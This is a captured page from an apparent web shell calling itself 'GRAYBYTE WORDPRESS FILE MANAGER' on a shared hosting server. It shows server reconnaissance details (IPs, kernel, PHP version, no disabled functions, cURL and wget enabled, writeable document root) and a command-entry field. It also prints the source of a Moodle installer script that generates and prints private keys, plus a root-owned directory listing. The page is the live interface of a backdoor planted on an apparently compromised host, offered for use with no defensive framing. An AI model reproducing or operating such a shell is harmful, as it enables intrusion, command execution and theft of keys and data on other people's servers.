GRAYBYTE WORDPRESS FILE MANAGER3311

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /var/softaculous/moodle41/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /var/softaculous/moodle41//privatekey.php
<?php

// We do not need this file any more
@unlink('privatekey.php');

$ltikey = __mod_lti_verify_private_key();
$enrol_lti = __mod_lti_verify_private_key();

echo '<kid>'.$ltikey['kid'].'</kid>';
echo '<privatekey>'.$ltikey['privatekey'].'</privatekey>';

echo '<enrol_lti_kid>'.$enrol_lti['kid'].'</enrol_lti_kid>';
echo '<enrol_lti_privatekey>'.$enrol_lti['privatekey'].'</enrol_lti_privatekey>';

function __mod_lti_verify_private_key() {
	global $error;
	
	if (!function_exists('openssl_random_pseudo_bytes')) {
		$error[] = "openssl must be loaded for openssl_random_pseudo_bytes to function";
		return null;
	}
	
	// Create the private key.
	$kid = bin2hex(openssl_random_pseudo_bytes(10));
	
	$config = array(
		"digest_alg" => "sha256",
		"private_key_bits" => 2048,
		"private_key_type" => OPENSSL_KEYTYPE_RSA,
	);
	$res = openssl_pkey_new($config);
	openssl_pkey_export($res, $privatekey);

	return array(
		'kid' => $kid,
		'privatekey' => $privatekey,
	);
}

?>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 08:30:22
root / root
0755
images
--
June 11 2025 08:37:15
root / root
0755
languages
--
June 11 2025 08:37:16
root / root
0755
php53
--
June 11 2025 08:37:16
root / root
0755
php56
--
June 11 2025 08:37:16
root / root
0755
php71
--
June 11 2025 08:37:15
root / root
0755
php81
--
June 11 2025 08:37:15
root / root
0755
php82
--
June 11 2025 08:37:15
root / root
0755
NOTES.txt
2.224 KB
October 30 2024 12:35:20
root / root
0644
add_admin.php
0.716 KB
April 26 2023 10:23:14
root / root
0644
check_utf8.php
6.994 KB
January 10 2024 07:02:22
root / root
0644
clone.php
5.484 KB
June 10 2025 12:46:14
root / root
0644
config.php
0.728 KB
April 26 2023 10:23:14
root / root
0644
data.zip
7.758 KB
June 10 2025 11:53:44
root / root
0644
edit.php
4.625 KB
June 10 2025 12:46:14
root / root
0644
edit.xml
0.423 KB
April 26 2023 10:23:14
root / root
0644
extend.php
12.462 KB
June 10 2025 12:46:14
root / root
0644
fileindex.php
0.937 KB
October 30 2024 12:35:20
root / root
0644
get_plugin_list.php
0.82 KB
February 19 2025 11:15:24
root / root
0644
import.php
7.471 KB
June 10 2025 12:46:14
root / root
0644
info.xml
3.549 KB
June 10 2025 11:53:44
root / root
0644
install.js
0.902 KB
April 26 2023 10:23:14
root / root
0644
install.php
11.179 KB
June 10 2025 12:46:14
root / root
0644
install.xml
3.243 KB
July 18 2024 11:34:46
root / root
0644
md5
3.842 KB
June 10 2025 12:46:14
root / root
0644
moodle41.sql
1.12 MB
June 10 2025 11:53:44
root / root
0644
moodle41.zip
81.48 MB
June 10 2025 11:53:44
root / root
0644
privatekey.php
0.952 KB
April 26 2023 10:23:14
root / root
0644
update_pass.php
0.528 KB
April 26 2023 10:23:14
root / root
0644
upgrade.php
9.426 KB
June 10 2025 12:46:14
root / root
0644
upgrade.xml
0.3 KB
April 26 2023 10:23:14
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF